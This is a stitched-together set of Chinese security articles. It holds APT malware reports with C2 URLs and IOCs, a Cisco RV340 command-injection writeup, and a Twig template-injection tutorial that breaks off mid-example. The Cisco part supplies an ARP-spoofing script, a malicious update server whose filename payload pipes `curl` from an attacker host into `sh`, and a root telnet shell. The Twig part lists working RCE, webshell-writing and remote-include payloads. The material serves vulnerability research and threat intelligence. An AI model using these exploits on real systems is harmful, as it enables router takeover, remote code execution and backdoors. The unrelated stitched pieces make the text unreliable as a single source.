当目标启用内容后就会执行Workbook_Open的代码
DllInstall False, ByVal StrPtr(Sheet1.Range(“X100”).Value)
通过加载scrobj.dll调用
远程加载<http://45.xxx.xxx.67/window.sct>,这种是利用Microsoft系统文件的LOLbin以绕过杀软的监测，达到远程执行代码目的。
其中Sheet1.Range(“X100”).Value 是小技巧，将payload隐藏在Sheet1中，通过VBA获取下载地址，起到一定混淆保护效果
**2.1.3. 恶意sct文件(windows.sct)**
通过windows.sct再下载到到启动目录，并重名为Temp.exe,并运行该程序
如下图
系统启动文件夹
**2.1.4.后门分析(msupdate.exe)**
文件信息:
主要功能:
1.自身拷贝到当前用户的AppData\Roaming和C:\Microsoft目录下并重命名msupdate.exe,并且创建并写入uuid.txt，来标识不同用户
2.通过com组件创建计划任务，实现持久化控制。
3.与服务器进行C&C通讯，实现了shell,文件上传与下载(ftp),获取屏幕快照功能，达到完全控制目标。
获取uuid通知主机上线
通过http协议与服务器进行通讯，并获取相关指令
上线指令
反向Cmd Shell相关代码
文件上传相关代码
文件下载相关代码
屏幕快照相关代码
### 2.2 分析文档(卫生部指令.docx)
该文档托管于
<http://xxx-xxx.com/h_879834932/%E5%8D%AB%E7%94%9F%E9%83%A8%E6%8C%87%E4%BB%A4.docx>
**2.2.1 诱饵文档**
**2.1.2 Downloader分析**
诱使目标点击提交按钮，触发Shell.Explorer.1 从internet Explorer下载并运行submit_details.exe木马程序.
文件信息:
功能分析:
1.建立计划任务
2.收集目标机器名，ip，等信息
3.下载后门程序
通过Github 白名单下载文件，绕过IDS检测.
部分代码
4.获取Github上的文件下载路径，目前文件已被删除
### 2.3 钓鱼网站
钓鱼网址为<http://xxx-xxx.com/submit.html>伪装成某部门的调查表,收集人员信息
通过whois查询，网站是2020年1月23日注册，2月6日更新后停止访问
## 三.关联分析
该活动与摩诃草APT组织旗下的CNC小组有着很多的联系
CNC小组取名来自360于2019年底发布的报告《南亚地区APT组织2019年度攻击活动总结》中提及的摩诃草使用新的远程控制木马,同时通过其pdb路径信息中包含了cnc_client的字样,故命名为cnc_client小组.在此次活动中,该组织的特征与之高度类似,故团队猜测该活动的作俑者来源于摩诃草旗下的CNC小组
下面我们将向各位看官详细的描述这几点相同之处
(左边的图来自于360的年度报告,右边的图来自于本次活动的截图)
1).反向shell功能:
2).文件上传功能
3).文件下载功能
并且在该所会连的域名中出现了cnc的字眼,故本小组大胆猜测该小组对原先的cnc_client进行了进一步的修改,但是其主体逻辑框架保持不变。在侧面上反应了该组织也很积极的修改相关的恶意软件代码以躲避杀毒软件的侦查
## 四.总结
在这次活动中摩诃草组织为了增加其攻击活动的成功性,在诱饵文档中使用了某部门的名称和某部门的徽标以增加其可信性,同时在其托管载荷的网站上引用了nhc这个字符串,Gcow安全团队追影小组在此大胆推测,该组织使用鱼叉邮件的方式去投递含有恶意文档url的邮件.同时在这次活动中所出现的url上也存在”nhc”,”gxv”,”cxp”等字眼,这很大的反应出攻击者对中国元素的了解,社会工程学的使用灵活以及拥有一定的反侦查能力,这无疑是对我国网络安全的一次挑战,还请相关人士多多排查,培养员工安全意识也是重中之重的.
最后本小组也想发发牢骚,其实这样的活动不能说天天都有,但是每一周有一次的频率还是存在的。印度趁人之危固然不对,但是某些借此炒作,搞流量变现的,连样本都没分析透彻,只看只言片语就对该组织的手法以及该国家的网络安全实力立下高判,将自己的无知言论变为吸引别人为自己谋取利益的某些高手。把不正确的情况与思想带给你的关注者,让他们对真实的情况并不了解甚至低估,您难道不觉得心痛吗?这对得起你前辈的初衷吗?鄙人沥肝劝君,万不可一知半解而授业于人。
注意:这里不针对任何个人和团队,只是发发牢骚,说说心里话罢了,切勿对号入座,非常感谢。所说一切,愿与各位共勉也期望各位监督。
## 五.相关IOC
IOCS | 名称
---|---
SHA1:ffxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxf80b709 | 武汉旅行信息收集申请表.xlsm
SHA1:4fxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx02b3f2 | 卫生部指令.docx
SHA1:44xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxaa29b0 | msupdate.exe
(windows.jpeg)
SHA1:76xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx7b1b65 | submit_details.exe
SHA1:aexxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx3c72e7 | windows.sct
SHA1:6cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx2a92 | 32368288_lopi9829
C2 | <https://185.xxx.xx.24/cnc/register>
<https://185.xxx.xx.24/cnc/tasks/request>
<https://185.xxx.xx.24/cnc/tasks/result>
<https://45.xxx.xx.168/qhupdate/pagetip/getconf>
<https://45.xxx.xxx.168/qhupdate/pagetip/cloudquery>
<https://45.xxx.xxx.168/qhupdate/msquery>
URL | <http://xxx-xxx.com/submit.html>
<http://xxx-xxx.com/%E6%AD%A6%E6%B1%89%E6%97%85%E8%A1%8C%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E7%94%B3%E8%AF%B7%E8%A1%A8.xlsm>
<http://xxx-xxx.com/h_879834932/%E5%8D%AB%E7%94%9F%E9%83%A8%E6%8C%87%E4%BB%A4.docx>
<http://45.xxx.xxx.67/window.sct>
<http://45.xxx.xxx.67/window.jpeg>
<http://185.xxx.xxx.24/windows.sct>
<https://github.com/xxxxxx/xx_7xxxxx988/blob/master/submit_details.exe>
<https://raw.githubusercontent.com/xxxx268/meetingid/master/syncup/token.txt>
<http://185.xxx.xxx.139/winmail/kt_new.png>
<https://api.github.com/xxxxx/xxxxxx/memeeting/git/blobs/d956fbd55581e178658dd908cb36cd93431cd9e1>
<https://chinaxxxxx-nexx.com/n2012228aumki7339990n/32368288_lopi9829>
<http://xxx-xxx.com/form.html?OZBTg_TFORM> | 社区文章 |
# 疑似TA555针对乌克兰国家边防卫队的最新攻击活动分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
近日，奇安信威胁情报中心红雨滴团队在日常的样本监测过程中，捕获一例针对乌克兰国家边防卫队伊斯梅尔支队的攻击样本，该样本伪装成乌克兰国家财政局进行鱼叉邮件投递，诱导受害者启用带有恶意宏代码的附件文档。一旦恶意宏代码得以执行，便会在受害者机器上运行PoshAdvisor恶意软件，从而控制受害者计算机。
经溯源关联，该攻击文档疑似来自TA555组织[1]，TA555是国外安全组织Proofpoint追踪命名的黑客组织，在以往的攻击活动中，该组织的目标通常为酒店，餐厅，电信行业，本次攻击活动是该组织第一次针对政府机构的活动。
## 样本分析
### 诱饵文档
文件名 | Звернення керівнику підприємства.eml
---|---
MD5 | 4423c37da26868ec578baa5514b8308a
攻击者伪装为乌克兰财政部门以致领导人为主题进行鱼叉邮件投递
诱导受害者打开带有恶意宏代码的附件постанова_29_07_2019(2).doc（2019/7/29 决议）
### 恶意代码
一旦受害者启用宏，恶意宏代码便会执行powershell从远程[https://23.227.194.58/（7](https://23.227.194.58/%EF%BC%887)位随机字符）.png获取恶意代码执行
在分析该样本时，服务器已失效，无法获取后续，但奇安信威胁情报中心高对抗沙箱在捕获该样本时，已成功获取后续。
从远程服务器下载powershell执行，该段powershell继续从远程服务器https://23.227.194.58/（9位随机字符）.png获取后续执行
红雨滴团队高对抗沙箱获取后续如下：
### PoshAdvisor
该段powershell首先加载c#dll到内存中，并调用其B6ILdR()函数
B6ILdR()获取系统版本号等信息
之后执行一段base64解码的powershell
此段powershell主要功能为获取系统信息上传，通过cmd命令获取系统信息
之后调用c#中的fqlw函数生成URL路径，该函数主要将B6ILdR()函数获取系统信新格式化后的字符经异或等处理后组成url路径，并在post方法后加上.asp后缀，其他方法加上.jpg后缀。
将通过cmd命令获取的系统信息上传到23.227.194.58/（urlpath）.asp
接着从注册表中获取outlook邮箱配置信息上传
截取当前屏幕上传
当此段powershell执行结束后，进入接受指令流程，从23.227.194.58/（urlpath）.jpg获取指令执行，当获取的数据长度大于等于48时，进入远控功能流程
获取数据的第一位为指令位，通过判断第一位的数据从而执行不同功能
远控指令功能如下表
指令 | 功能
---|---
0 | 调用Ka2l7Xn3O函数执行shellcode
1 | 通过iex执行powershell指令并将执行结果上传
2 | 下载dll保存到%temp%目录下并通过ChlVniP4q6函数调用执行
3 | 下载exe报道%temp%目录下并执行
99 | 退出
其他 | 根据偏移4的id下载执行shellcode
## 溯源关联
经关联分析，红雨滴团队安全研究员发现本次攻击活动实现的后门与2018年proofpoint披露的TA555组织的PoshAdvisor后门基本一致，只是在功能上更加完善丰富，因此我们认定本次攻击活动幕后团伙是TA555的可能性极大。
### 诱饵文档对比
本次攻击活动的诱饵文档与之前TA505的文档基本一致，如下图
### 后门对比
本次攻击活动获取系统信息powershell代码与TA555基本一致
在功能代码上，本次攻击活动的后门功能较之TA555更加完善丰富
## 总结
从本次捕获TA555新样本来看，该团伙已开始转变攻击目标，从酒店餐厅等行业转变到政府机构，政治目的开始越发浓厚，其攻击武器功能也越发完善。奇安信威胁情报中心红雨滴团队将持续追踪该团伙的最新动态。
目前，基于奇安信威胁情报中心的威胁情报数据的全线产品，包括奇安信威胁情报平台（TIP）、天擎、天眼高级威胁检测系统、奇安信NGSOC等，都已经支持对此类攻击的精确检测。
## IOC
样本MD5
4423c37da26868ec578baa5514b8308a
c5661d589ee98e8b370acaceb7f5445e
1d045444d74bc63c8b30d9089c8da24f
03580beba48ab744b1468459603e715d
87c6e0daabe6f71a86f3a9c24a090944
30bbf8a8d2c0ad4e2ffbfdc6c5ed476b
37457ea1d0f093145f8d645779c363ac
1e2b0f55562277fc4f3cfec340397f10
C&C地址
23.227.194.58
## 参考
<https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-part-2-advisorsbot> | 社区文章 |
# 印度APT组织攻击我国多个目标曝光
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2019年10月27日，推特@MisterCh0c发布一张照片，通过360CERT研究人员分析，发现该C2控制台隶属于印度网军“蔓灵花”组织（Bitter），该后台控制界面中暴露多个我国IP地址被控制上线。控制台界面显示了木马控制后台的主机信息界面，包括最后上线时间、主机版本信息、用户名称、电脑名称等。
通过该控制页面，攻击者可以对目标继续下发任务，其功能特马如下：
Audiodq：获取计算机基本信息，远程获取文件并执行
igfxsrvk：键盘hook
Kill：设置sleep文件开机自启
Lsap、lsapc、lsapcr：磁盘、文件等相关操作
MSAService7：采用C#编写，功能包括：文件创建拷贝删除与传输、进程的创建挂起结束及其相关信息、cmd命令、剪切板信息、计算机基本信息包括CPU信息，计算机名称、磁盘信息等。
Winsvc：采用C语言编写的木马，功能与上边类似
Sleep：关机操作
regdl：设置Audiodq开机自启
该C2链接地址为：[http://lmhostsvc[.]net/healthne/，IP：162.222.215.134，](http://lmhostsvc%5B.%5Dnet/healthne/%EF%BC%8CIP%EF%BC%9A162.222.215.134%EF%BC%8C)
特马hash：FBC56C2DADAB05E78C995F57BF50BCE5。
数据回传路径：[http://lmhostsvc.net/healthne/accept.php?a=User-PC&b=USER-PC&c=Windows%207%20Professional&d=adminadmin90059c37-1320-41a4-b58d-2b75a9850d2f1565536040965860&e=abcd。](http://lmhostsvc.net/healthne/accept.php?a=User-PC&b=USER-PC&c=Windows%207%20Professional&d=adminadmin90059c37-1320-41a4-b58d-2b75a9850d2f1565536040965860&e=abcd%E3%80%82)
相关样本anyrun分析地址：<https://app.any.run/tasks/4c024e23-6738-470a-8676-b52e39462500/>
通过分析，控制台页面展示的受害者有6台主机隶属于中国。
此次曝光的蔓灵花组织C2控制台仅仅揭露蔓灵花组织在我国攻击的冰山一角，早在2017年末2018年初，蔓灵花组织使用其常用的攻击手法攻击过我国多个部委、重要行业单位以及巴基斯坦在我国的工作人员，影响单位和人员较多，其使用的C2控制台与本次曝光的C2控制台完全一致。
蔓灵花（BITTER）APT组织是一个长期针对中国、巴基斯坦等国家进行攻击活动的APT组织。近两年来，蔓灵花APT组织并未更新其后台控制端以及特马的升级，国内外多个安全研究组织都通过其后台漏洞进入到C2控制界面，另外，弱口令问题、目录遍历问题等常见WEB问题在该C2控制台均有漏洞体现。通过蔓灵花如此频繁的攻击活动，我们可以看出印度网军在网络情报获取方面一直采取积极主动的网络攻击的方式攫取情报，我国是网络威胁中的受害者。
相关C2：
lmhostsvc[.]net
162.222.215.134 | 社区文章 |
**作者：Rivaille@知道创宇404实验室
日期：2022年8月29日**
## 漏洞原理
这个漏洞是`cisco RV340`和`cisco RV160`系列中存在的一个命令注入漏洞，命令注入发生在`wfapp`中，漏洞原理如下。
`wfapp`运行后会检查当前`/tmp/webrootdb`目录下是否存在`webfilter`数据库文件，如果存在，则不向服务器发送更新数据库的请求，如果不存在，则会拉取更新。同时`wfapp`会创建守护进程，`24`小时会自动更新一次`webfilter`数据库。`wfapp`的启动过程写入在`/etc/init.d/webfilter`这个中，是一个开机自启的服务。
拉取数据库文件更新的过程中，`wfapp`首先会向`bcap15.brightcloud.com`发起一个`post`请求，检查是否有新的webfilter数据库可从
`brightcloud` 中获得：
POST / HTTP/1.1
Content-Type: text/html
Host: bcap15.brightcloud.com
Content-Length: 296
Connection: close
<?BrightCloud version=bcap/1.1?>
<bcap>
<seqnum>1</seqnum>
<encrypt-type>none</encrypt-type>
<request>
<method>getmd5update1mrep</method>
<uid>PSZ25281CDE</uid>
<productid>RV340-WB</productid>
<oemid>Cisco</oemid>
<md5currentmajor>0</md5currentmajor>
<md5currentminor>0</md5currentminor>
</request>
</bcap>
然后`bcap15.brightcloud.com`会返回一个`http`响应：
HTTP/1.1 200 OK
Content-Type: application/xml
Date: Fri, 01 Oct 2021 14:00:39 GMT
Server: Kestrel
Content-Length: 425
Connection: Close
<?BrightCloud version=bcap/1.1?>
<bcap>
<seqnum>1</seqnum>
<status>200</status>
<statusmsg>OK</statusmsg>
<response>
<status>200</status>
<statusmsg>OK</statusmsg>
<filename>full_bcdb_rep_1m_7.888.bin</filename>
<checksum>2381a9b7ea1ce3bd0c71c41891507233</checksum>
<updateMajorVersion>7</updateMajorVersion>
<updateMinorVersion>888</updateMinorVersion>
<targetchecksum>2381a9b7ea1ce3bd0c71c41891507233</targetchecksum>
</response>
</bcap>
当`bcap15.brightcloud.com`返回响应，表示有新的数据库更新之后，`wfapp`会向`database.brightcloud.com`
这个服务发送请求，从`database.brightcloud.com`下载新的`webfilter`数据库，检查`webfilter`数据库文件的格式通过之后，会进入后续的处理流程，命令注入就发生在`wfapp`处理数据库文件名时，漏洞触发点如下：
sprintf(s, "ls %s%s", "/mnt/webrootdb/", "full_bcdb_rep_1m*");
fd = popen(s, "r");
if ( fd )
{
if ( isstdout )
printf(" Checking for 1M URL DB file %s%s\r\n", "/mnt/webrootdb/", "full_bcdb_rep_1m*");
if ( issyslog )
syslog(6, " Checking for 1M URL DB file %s%s\r\n", "/mnt/webrootdb/", "full_bcdb_rep_1m*");
if ( fgets(filename, 64, fd) )
{
s[strlen(filename) - 65] = 0;
...
strcpy((char *)cmdinject, filename);
sprintf(
s,
"rm %s%s; cp %s %s; rm /tmp/%s",
"/mnt/webrootdb/",
"full_bcdb_rep_1m*",
(const char *)cmdinject,
"/mnt/webrootdb/",
"full_bcdb_rep_1m*"); // 命令注入
if ( isstdout )
printf(" saving the 1M URLDB file to webroot parition using the command:'%s'\r\n", s);
if ( issyslog )
syslog(6, " saving the 1M URLDB file to webroot parition using the command:'%s'\r\n", s);
if ( popen(s, "r") )
{
if ( isstdout )
printf(" Successfully saved the file to webroot partition '%s'\r\n", "/mnt/webrootdb/");
if ( issyslog )
syslog(6, " Successfully saved the file to webroot partition '%s'\r\n", "/mnt/webrootdb/");
}
要利用这个漏洞，需要做一次中间人攻击，让攻击者的主机向路由器返回一个响应体，这个响应体的`xml`文件的`filename`标签中可以嵌入恶意的`shell`命令，然后把反弹`shell`脚本部署在中间人的主机上。
这个漏洞具有一定局限性，只能`24`小时攻击一次，或者等待设备重启之后再攻击。
## 漏洞利用
这里做中间人攻击，有两种利用方式，这两种利用方式都有一定的局限性。
第一种是arp欺骗，把毒化整个局域网下所有主机的arp缓存，让路由器的ip地址对应攻击者主机的mac地址，这种情况下，路由器会认为攻击者的主机是整个局域网的网关，`bcap15.brightcloud.com`服务器返回的响应会首先通过攻击者的主机，设置ip_forword流量转发和iptables规则，完成改包。
第二种是想办法做DNS劫持，把bcap.brightcloud.com
，databse.brightcloud.com这两域名和恶意的服务ip绑定，这样所有发送给这两个服务器的请求都可以被攻击者截获。
第一种利用方式，由于劫持了局域网下的所有入口流量，很容易导致整个局域网炸网，出现路由器重启之后无法连接外网的情况，路由器无法连接外网，就无法向`bcap.brightcloud.com`服务器发送请求，给分析和复现带来困难，这里给出arp欺骗攻击的脚本，有兴趣可以尝试一下。
import os
from tabnanny import verbose
from numpy import broadcast
from scapy.all import *
import requests
gateway_ip = "192.168.1.1" # cisco ip address
fake_gateway_ip = "192.168.1.127" # ubuntu ip address
def arpspoof(gateway_ip,fake_gateway_mac):
packet = ARP(op=2,pdst="0.0.0.0",psrc=gateway_ip,hwsrc=fake_gateway_mac) # arp广播
send(packet,verbose=False)
def exp():
#fake_gateway_mac = get_mac(fake_gateway_ip)
try:
sent_packets_count = 0
while True:
arpspoof(gateway_ip,"00:0c:29:9f:9f:4a")
#arpspoof(attack_ip,gateway_ip)
sent_packets_count += 1
print("[*] Packets Sent "+str(sent_packets_count))
os.system("arp -a|grep 192.168.1.1")
time.sleep(2)
except KeyboardInterrupt:
print("\nCtrl + C pressed.............Exiting")
print("[+] Arp Spoof Stopped")
exp()
arp包设置成广播包，pdst和hwdst都置空，这样可以完成对整个子网的欺骗，完成对`bcap15.brightcloud.com`响应的拦截。
第二种改`DNS`的方法，只能在登录`RV340`的后台之后才能使用，`RV340`的`web`管理界面提供了一个`DNS local
database`的功能，可以设置域名解析，
由于`RV340`更新`webfilter database`需要重启，而我们后台所做的配置是`running
config`，重启之后配置的域名解析会失效，所以还需要把配置的信息设置成`startup config`。
需要两台攻击机，一台服务器上会响应恶意的`xml`文件，部署恶意的shell脚本，一台服务器上放格式正确的`Webfilter`数据库文件，在文件名和xml文件filename标签里插入恶意的shell语句。
from wsgiref.util import request_uri
from simple_http_server import *
import simple_http_server.server as server
import requests
filename = "full_bcdb_rep_1m_8.334.bin"
payload = "full_bcdb_rep_1m_8.334`curl${IFS}192.168.1.127|sh`.bin"
# download reverse_shell.sh
@request_map('/',method=["POST"])
def index_ctroller_function():
xmldata = '''
<?xml version="1.0" encoding="UTF-8" ?>
<?BrightCloud version=bcap/1.1?>
<bcap>
<seqnum>1</seqnum>
<status>200</status>
<statusmsg>OK</statusmsg>
<response>
<status>200</status>
<statusmsg>OK</statusmsg>
<filename>%s</filename>
<checksum>896bb64c7dd8661535b5cbe55fe7c17e</checksum>
<updateMajorVersion>8</updateMajorVersion>
<updateMinorVersion>334</updateMinorVersion>
<targetchecksum>896bb64c7dd8661535b5cbe55fe7c17e</targetchecksum>
</response>
</bcap>
'''%payload
return xmldata
@request_map("/",method=['GET'])
def reverseshell_ctroller_function():
return StaticFile("./opentelnet")
def main(*args):
server.start(port=80)
if __name__ == "__main__":
main()
`open telnet`的脚本如下：
/usr/sbin/telnetd -l /bin/sh -p23333
开启web服务：
另一台服务器上，把命令写入到数据库文件的文件名中，然后开启`web`服务：
`telnet`远程登录获取`rootshell`：
## 漏洞修复
修复的方法，是本地保留`cacert`证书，不向不受信任的服务器发送请求。
## 后续思考
这个漏洞，看起来有些鸡肋，利用起来处处掣肘，但是也有延长利用链的可能。
1.cisco有一个默认的guest用户，这个用户无法登录Web后台，但是可以生成guest
sessionid，可以访问后台的一些服务。cisco之前有一些利用，是通过guest
sessionid溢出或者命令注入的，但是打进去之后只能得到一个www-data的权限，那这个时候可以用这个漏洞来提权，该漏洞在`3.27`以下版本都可以使用，填补了`client
update`和`vpnTimer`提权失效的空白。
2.利用这个guest
sessionid，可以访问DNS配置信息，但是无法修改DNS的配置信息，如果这个里面鉴权逻辑存在问题的话，那这个漏洞可以成为一个稳定利用的无条件rce（虽然arp欺骗也可以无条件rce，但是利用有难度，且动静较大），后续可以尝试从这个点去挖一挖。
## 参考
<https://onekey.com/blog/advisory-cisco-small-business-rv-series-routers-web-filter-database-update-command-injection-vulnerability/>
* * * | 社区文章 |
# Twig模板注入：
我们依然用上次那个图片来看一下：
今天我们就来学习一下`Twig`模板引擎的注入：（网上的师傅写的很不错，结合了两三个来学习学习）
## Twig模板基础语法：
### 变量：
应用程序将变量传入模板中进行处理，变量可以包含你能访问的属性或元素。你可以使用 `.`来访问变量中的属性（方法或 PHP 对象的属性，或 PHP
数组单元），Twig还支持访问PHP数组上的项的特定语法， `foo['bar']`：
{{ foo.bar }}{{ foo['bar'] }}
### 全局变量：
在Twig模板中存在这些全局变量：
_self：引用当前模板名称；（在twig1.x和2.x/3.x作用不一）
_context：引用当前上下文；
_charset：引用当前字符集。
### 定义变量：
可以为代码块内的变量赋值。赋值使用`set`标签：
{% set foo = 'foo' %}
{% set foo = [1, 2] %}
{% set foo = {'foo': 'bar'} %}
### 过滤器：
变量可以修改为 **过滤器**. 过滤器与变量之间用管道符号隔开 (`|`). 可以链接多个过滤器。一个过滤器的输出应用于下一个过滤器。
下面的示例从 `name`标题是：
{{ name|striptags|title }}
接受参数的筛选器在参数周围有括号。此示例通过逗号连接列表中的元素：
{{ list|join }}
{{ list|join(', ') }}
{{ ['a', 'b', 'c']|join }}
Output: abc
{{ ['a', 'b', 'c']|join('|') }}
Output: a|b|c
若要对代码部分应用筛选器，请使用`apply`标签：
{% apply upper %}This text becomes uppercase{% endapply %}
### 控制结构：
控制结构是指所有控制程序流的东西-条件句`(即 if/elseif/else/ for)`循环，以及程序块之类的东西。控制结构出现在 `{{% ...
%}}`中
例如，要显示在名为 `users`使用`for`标签：
<h1>Members</h1>
<ul>
{% for user in users %}
<li>{{ user.username|e }}</li>
{% endfor %}
</ul>
`if`标记可用于测试表达式：
{% if users|length > 0 %}
<ul>
{% for user in users %}
<li>{{ user.username|e }}</li>
{% endfor %}
</ul>
{% endif %}
### 函数：
在 Twig 模板中可以直接调用函数，用于生产内容。如下调用了 range()函数用来返回一个包含整数等差数列的列表：
{% for i in range(0, 3) %}
{{ i }},
{% endfor %}
// Output: 0, 1, 2, 3,
### 注释：
{#……#}
### 引入其他模板：
Twig 提供的 `include`函数可以使你更方便地在模板中引入模板，并将该模板已渲染后的内容返回到当前模板
{{ include('sidebar.html') }}
### 继承：
Twig最强大的部分是模板继承。模板继承允许您构建一个基本的“skeleton”模板，该模板包含站点的所有公共元素并定义子模版可以覆写的 blocks 块。
从一个例子开始更容易理解这个概念。
让我们定义一个基本模板， `base.html`，它定义了可用于两列页面的HTML框架文档：
<!DOCTYPE html>
<html>
<head>
{% block head %}
<link rel="stylesheet" href="style.css"/>
<title>{% block title %}{% endblock %} - My Webpage</title>
{% endblock %}
</head>
<body>
<div id="content">{% block content %}{% endblock %}</div>
<div id="footer">
{% block footer %}
© Copyright 2011 by <a href="http://domain.invalid/">you</a>.
{% endblock %}
</div>
</body>
</html>
在这个例子中，block标记定义了子模板可以填充的四个块。所有的 `block`标记的作用是告诉模板引擎子模板可能会覆盖模板的这些部分。
子模板可能如下所示：
{% block title %}Index{% endblock %}
{% block head %}
{{ parent() }}
<style type="text/css">
.important { color: #336699; }
</style>
{% endblock %}
{% block content %}
<h1>Index</h1>
<p class="important">
Welcome to my awesome homepage.
</p>
{% endblock %}
其中的
`extends`标签是关键所在，其必须是模板的第一个标签。`extends`标签告诉模板引擎当前模板扩展自另一个父模板，当模板引擎评估编译这个模板时，首先会定位到父模板。由于子模版未定义并重写
`footer`块，就用来自父模板的值替代使用了。
## Twig模板注入原理：
我们来看一段Twig代码：
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));
// 将用户输入作为模版变量的值
echo $output;
这里我们使用PHP模板引擎Twig作为实例，用这个代码来说明Twig语言的模板注入是怎么进行的。
这段代码使用Twig模板引擎来呈现一个字符串模板，并将$_GET["name"]的值作为模板变量“name”的值。具体来说：
* 第一行使用PHP的require_once语句引入Twig的自动加载器。
* 第二行调用Twig_Autoloader::register(true)来注册Twig自动加载器。
* 第三行创建一个Twig_Environment实例，使用Twig_Loader_String作为模板的加载器。
* 第四行使用Twig_Environment实例的render()方法渲染模板，将$_GET["name"]的值作为模板变量“name”的值传递。
* 最后一行使用echo语句将渲染结果输出到浏览器中。
我们看到这个地方用户与服务器所接触的get参数会直接传送至{{}}里面，然后被模板引擎所定义的模板变量进行编码和转义，所以这里并不会产生什么漏洞
而下面这个代码我们再来进行一下对比：
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET['name']}"); // 将用户输入作为模版内容的一部分echo $output;
我们看到这个地方将get传值拼接到了字符串里面去，然后直接用twig模板引擎中的render进行渲染，我们可以发现用户输入的内容作为了模板的一部分，会原样输出用户所输入的内容，这样的话就会将用户所输入的内容进行模板编译和解析，最后在进行输出。
## Twig模板注入检测：
在 Twig 模板引擎里，{{ var }} 除了可以输出传递的变量以外，还能执行一些基本的表达式然后将其结果作为该模板变量的值，例如这里用户输入
name={{2*10}} ，则在服务端拼接的模版内容为：
Hello {{2*10}}
Twig 模板引擎在编译模板的过程中会计算 `{{2*10}}`中的表达式，会将其返回值 20 作为模板变量的值输出
现在把测试的数据改变一下，插入一些正常字符和 Twig 模板引擎默认的注释符，构造 Payload 为：
IsVuln{# comment #}{{2*8}}OK
实际服务端要进行编译的模板就被构造为：
Hello IsVuln{# comment #}{{2*8}}OK
这里简单分析一下，由于 {# comment #} 作为 Twig 模板引擎的默认注释形式，所以在前端输出的时候并不会显示，而 {{2*8}}
作为模板变量最终会返回 16 作为其值进行显示，因此前端最终会返回内容 Hello IsVuln16OK
所以我们继续回到上面最开始的那个图：
## 版本漏洞:
### Twig1.x:
* index.php
<?php
include __DIR__.'/vendor/twig/twig/lib/Twig/Autoloader.php';
Twig_Autoloader::register();
$loader = new Twig_Loader_String();
$twig = new Twig_Environment($loader);
echo $twig->render($_GET['name']);
?>
在 Twig 1.x 中存在三个全局变量：
* `_self`：引用当前模板的实例。
* `_context`：引用当前上下文。
* `_charset`：引用当前字符集。
对应的代码是：
protected $specialVars = [
'_self' => '$this',
'_context' => '$context',
'_charset' => '$this->env->getCharset()',
];
这里主要就是利用 `_self` 变量，它会返回当前 `\Twig\Template` 实例，并提供了指向 `Twig_Environment` 的
`env` 属性，这样我们就可以继续调用 `Twig_Environment` 中的其他方法，从而进行 SSTI。
比如以下 Payload 可以调用 `setCache` 方法改变 Twig 加载 PHP 文件的路径，在 `allow_url_include`
开启的情况下我们可以通过改变路径实现远程文件包含：
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
此外还有 `getFilter` 方法：
public function getFilter($name)
{
...
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {
return $filter;
}
}
return false;
}
public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}
我们在 `getFilter` 里发现了危险函数 `call_user_func`。通过传递参数到该函数中，我们可以调用任意 PHP 函数。Payload
如下：
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
### Twig2.x&Twig3.x:
这里看到一个通杀版本的payload，来学习一下：
#### Map：
{{["id"]|map("system")|join(",")
我们去官网找一下map的用法：
{% set people = [
{first: "Bob",last:"Smith"},
{first: "Alice",last:"A"},
] %}
{{people|map(p => "#{p.first} #{p.last}")|join(', ')}}
{# output Bob Smith, Alice A #}
允许用户传一个`arrow function， arrow function`最后会变成一个`closure`
举个例子
{{["man"]|map((arg)=>"hello #{arg}")}}
会被编译成
twig_array_map([0 => "man"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))
`map` 对应的函数是`twig_array_map` ,下面是其实现
function twig_array_map($array, $arrow)
{
$r = [];
foreach ($array as $k => $v) {
$r[$k] = $arrow($v, $k);//将arrow当作函数来进行执行
}
return $r;
}
* 从上面的代码我们可以看到，传入的 `$arrow` 直接就被当成函数执行，即 `$arrow($v, $k)`，而 `$v` 和 `$k` 分别是 `$array` 中的 value 和 key。`$array` 和 `$arrow` 都是我们我们可控的，那我们可以不传箭头函数，直接传一个可传入两个参数的、能够命令执行的危险函数名即可实现命令执行。通过查阅常见的命令执行函数：
system ( string $command [, int &$return_var ] ) : string
passthru ( string $command [, int &$return_var ] )
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
shell_exec ( string $cmd ) : string
* 前三个都可以使用。相应的 Payload 如下：
{{["id"]|map("system")}}
{{["id"]|map("passthru")}}
{{["id"]|map("exec")}} // 无回显
* 其中，`{{["id"]|map("system")}}` 会被成下面这样：
twig_array_map([0 => "id"], "sysetm")
* 最终在 `twig_array_map` 函数中将执行 `system('id',0)`。
* 还有`file_put_contents`函数写文件：
file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int
当我们找到路径后就可以利用该函数进行写shell了
?name={{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|map("file_put_contents")}}
####
#### sort：
* 这个 `sort` 筛选器可以用来对数组排序。
{% for user in users|sort %}
...
{% endfor %}
* 传递一个箭头函数来对数组进行排序：
{% set fruits = [
{ name: 'Apples', quantity: 5 },
{ name: 'Oranges', quantity: 2 },
{ name: 'Grapes', quantity: 4 },
]
%}
{% for fruit in fruits|sort((a, b) => a.quantity <=> b.quantity)|column('name') %}
